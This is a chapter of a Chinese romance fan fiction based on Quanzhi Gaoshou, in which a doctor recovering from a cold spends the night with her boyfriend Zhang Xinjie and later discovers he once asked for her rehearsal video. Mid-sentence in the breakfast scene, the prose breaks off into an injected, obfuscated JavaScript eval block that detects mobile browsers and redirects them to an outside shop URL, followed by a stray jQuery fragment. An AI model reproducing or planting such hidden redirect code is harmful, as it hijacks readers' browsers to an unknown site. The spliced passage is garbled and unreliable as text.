36.36 共枕眠

作品:《[全职高手]夏日偏差

    《夏日偏差》36


    ·杨析言X张新杰


    ·理智冷静x缜密敏锐


    ——


    感冒来势汹汹,皮试液小凸起还隐隐泛疼,药水顺着血管进入体内,手掌冰凉青紫。


    杨析言听着张新杰说“OT”,没忍住轻笑出声。


    荣耀联盟场均失误保持最低记录者,如此坦诚地承认失控,越发真情真意。


    左手被张新杰握在掌心,塞在他的宽大口袋中,滚烫的温度让交握处濡湿一片。


    药液平面缓慢下降,分针划过顶点,最后一瓶药结束,本院夜班护士拔针时调侃杨析言,让她注意防控三大原则1。


    两人用医院“黑话”打哑谜,身边站着的张新杰眸底浮出些疑惑,在等车时找到了答案。


    “我身体挺好的。”


    “嗯?”


    杨析言戴着宽大的帽子,蓦然听见张新杰说的话,大幅度仰头去看他,双眼里满是茫然。


    帽围遮住额头,只能从边缘凑近去瞧他,路灯将两人笼罩,光影投射在脚边。


    “我的意思是,”张新杰话语停顿,伸出手搭在杨析言头顶,轻拨帽檐,“我不会也感冒。”


    “噢…”


    杨析言眨巴眼,余光瞥见他手机屏幕里,是白底黑字的熟悉三大原则。


    视线上移,从张新杰手臂边擦过,看见他微抿起的唇角,以及低垂扑朔的睫毛。


    没忍住笑出声,喉口振动带起些涩痛,冷空气吸进肺里,引起刺激性咳嗽。


    “咳咳咳!”


    好不容易喘匀了气,杨析言转过身,伸出双手捧住张新杰的脸,挤成一团左右揉搓。


    从前怎么没发现张新杰较真的时候,这么可爱呢!


    “新杰老师,你太可爱啦!!”


    ·


    坐车回到公寓时,已近凌晨三点。


    整理洗漱完毕,待屋内灯光都暗下来,杨析言早已昏昏欲睡。


    静脉输注的药水让病情好转,却也带来副作用,身体在极力抗争本能,身边的床铺凹陷。


    杨析言眯着眼,床头灯的光源被遮挡半分,宽肩窄腰的身躯还坐在边缘。


    “你不困?”


    女声飘忽轻微,带着十足的困倦,被角在张新杰眼前掀开,葱白纤细的手拍拍枕头。


    “还是,你紧张啊?”


    让张新杰留宿这个事,本身没有什么问题。但奈何杨析言这套公寓,只有主卧能睡人。


    客厅里的沙发是小小的二人座,张新杰躺上去,双腿无处安放。


    深夜打车并不安全,何况凌晨三点也许打不到车,回到霸图收拾收拾,怕是已经天亮了。


    思来想去,杨析言干脆没提分别,从柜子里拿出误买的、大两个号的睡衣给张新杰,催他先去洗漱了。


    原本还想等张新杰洗完,和他道声晚安。


    没成想等到眼皮打架,张新杰还没从浴室出来。


    “上来呀。”


    杨析言翻了个身,闻到张新杰身上和她相同的香味,伸出手摸索着勾住他的指节。


    “我还能吃人啊?”


    眼前人毫无知觉地发出邀请,张新杰喉结滚动,温凉的手指刮蹭过指缝,痒意直冲头顶。


    “别动了,小心感冒加重。”


    张新杰声音低哑,反手握住杨析言的手腕,快速塞到被子里放好,还不忘掖进去几公分被子。


    直到确认杨析言不会再撩拨他,才从床边转身躺下。


    张新杰不是没躺过这张床,可以往总是穿戴整齐,最多也就是在杨析言赖床时,坐在床头让她缩进怀里。


    同床共枕是从未有过。


    被服柔软舒适,淡淡清香和略重的呼吸萦绕着他,暖意不断从旁边传来,五感在昏暗环境里,被无限放大。


    心跳声、呼吸声、摩擦声,还有隐约的注视。


    张新杰平躺在床上,浑身肌肉僵持,只觉得氧气越来越稀薄,血液奔涌带来无尽的燥热。


    窸窸窣窣的声音靠近,冰凉发丝蹭过脸颊,肩头挨上肩膀,手指从被服下钻过来,握住他的手。


    指尖顶开掌心,横亘掌纹抵达指缝下,顺势向前嵌进,严丝合缝的交握住。


    耳边是喷洒的灼热呼吸,还有些喑哑的女声响起,传入耳道激起半身酥麻。


    “晚安,男朋友。”


    话落,肩头一重,杨析言的脑袋拱进了脖颈里,半身都被他贴着,呼吸逐渐绵长。


    半边肌肉早就僵持,张新杰缓缓转过头,借着月光看清杨析言的脸。


    许是累极了,细长弯眉轻皱,眼底青黑加重,薄唇苍白干涩,长睫毛颤动着睡得并不安稳。


    张新杰呼吸滞塞,目光长久停留,强行释放酸涩的肌肉,小心翼翼地靠近。


    两人都睡在枕头边,呼吸交缠在咫尺距离内,柔软唇瓣覆盖在眉心,直到眉头松开。


    张新杰目光寸寸描摹,落在杨析言红肿破皮的唇瓣上,长久注视。


    那些理智崩塌的疯狂像是梦,却留下最有力的证据。


    宽大手掌覆盖过来,指腹轻轻抚摸唇瓣破裂处,温柔缱绻。


    早已入梦乡的杨析言感觉不到这些,在消炎药的副作用下沉沉睡去。


    不知道看了多久,张新杰终于放松下来,任由困意席卷思绪。


    “晚安,析言。”


    ——


    卸下心事的夜晚睡得香甜,健硕臂膀带来无尽安全感,阳光穿透玻璃那刻,杨析言才悠悠转醒。


    她面朝窗口侧躺,手臂向前,眼前的枕头平整,余温尽散。


    这是起得多早啊?


    杨析言眯起眼,看到床头柜上的电子钟,瞳孔猛地缩紧。


    嚯!


    下午两点多了。


    得亏她今天是夜班,这还是于主任得知她发烧后,特批可以晚点再去接班,不然哪能睡得这么安心。


    打过点滴后的身体都轻松了一半,杨析言磨磨蹭蹭起身,洗漱过打开房门,香味率先飘过来。


    循着香味看过去,张新杰站在厨房,还穿着睡衣,外面是黑色围裙,正拿着汤匙尝味。


    面前砂锅里的粥咕噜咕噜直冒泡,白米中是细长的肉条,还有切碎的生菜叶。


    感冒忌辛辣,却也不能一点味都不尝。


    在料理台上,还有新鲜洗净的圣女果和削皮的荸荠,一应俱全只等杨析言享用了。


    “新杰,没有你我可怎么办呐!”


    杨析言从背后环住张新杰的腰,脸颊贴在他的肩胛骨处,左右上下的蹭。


    蹭够了,又在埋头在张新杰背上,深吸气。


    “杨医生,痒。”


    张新杰脊背发颤,杨析言的鼻梁不时蹭过,带着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344378|197547||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    温热呼吸,透过轻薄布料扑撒,带起阵阵酥麻。


    将灶火关闭,张新杰握住腰间的双手,转过身看向撒娇的女友,俯身额头相抵。


    呼吸交缠着,视线交汇,额头处的温度趋于正常,面色虽然仍旧苍白,但精神已经好很多。


    “嗯,退烧了。”


    踩着话尾,张新杰抬起下巴,轻吻在杨析言唇边,“很棒。”


    杨析言扬眉,“你在哄小朋友嘛?”


    “嗯,析言小朋友。”


    张新杰颔首轻笑,直起身揉揉杨析言后脑,手臂顺势下滑,揽住她的腰肢将人推向餐桌。


    “去坐着吧,马上能吃饭了。”


    “好吧,新杰大朋友。”


    杨析言落座在正对厨房的位置,单手撑着下巴,看张新杰盛粥、端碗,一一摆开在手边。


    粥盛得很满,杨析言接过汤匙,舀起一勺吹凉,送到嘴边。


    白粥软糯粘稠,瘦肉鲜嫩多汁,蔬菜清脆甘甜,咸淡恰好。


    一口下去从喉咙暖到胃部,好吃得完全没空说话。


    张新杰在厨房切香梨,从柜子里拿出川贝放进小汤盅里,再将梨子和敲碎的黄...冰糖放进去。


    开火煮四十分钟,待杨析言喝完粥,歇一会就能喝了。


    整个公寓内没有交谈声,气氛却融洽温馨,杨析言难得有了胃口,像是要把这些天没吃的都补回来。


    叮咚声响起,杨析言看向手机,屏幕里是刘思齐发来的信息。


    [刘思齐:视频找到了,我发给你。]


    [刘思齐:正式舞台.mp4]


    [刘思齐:单人彩排.mo4]


    视频内容很多,齐刷刷出现在对话框,杨析言一个个点击接收,在底下道谢。


    [收到,谢谢你。]


    [刘思齐:嗐,客气啥,不过你怎么从我这拿视频啊?]


    [嗯?什么意思?]


    [刘思齐:你和张新杰不是邻居吗?他之前找我要过你的视频,你找他不是更方便?]


    白底黑字在眼前,杨析言咀嚼的速度放慢,每个字分开她都认识,可和在一起,却走向早就被否定的答案。


    新杰,要过自己的视频??


    杨析言放下汤匙,脊背挺立,双手捧着手机。


    [他什么时候找你要的?要的哪个视频?]


    [刘思齐:就高三下吧,张新杰那时候才高一,要的是你那个彩排视频。]


    彩排视频。


    彩排视频!!!


    杨析言眨巴眼,那些总是对不上的细节被拨入正轨,一切都变得合理起来。


    如果是要彩排视频,那就和当年的歌唱比赛没有半点关系,都怪曹佳明那家伙误导她!!


    越想越荒唐,却又越想越震撼。


    张新杰到底,到底是什么时候喜欢她的?又到底在那段时间里,做了多少事情啊?!


    杨析言深深吸气,从屏幕里抬起头,望向正在往蒸锅里放汤盅的青年,挺拔身姿尽显成熟魅力。


    这平静理智的表面,像只露出一截小小的冰川,看似平平无奇,实际海面下,隐藏着更深、更庞大的本体。


    手机还在振动,杨析言舔舔干涩的唇瓣,漆黑眼眸中,眸光流转闪烁,溢出些兴味来。


    你还想瞒多久呢?


    我的、好、男友。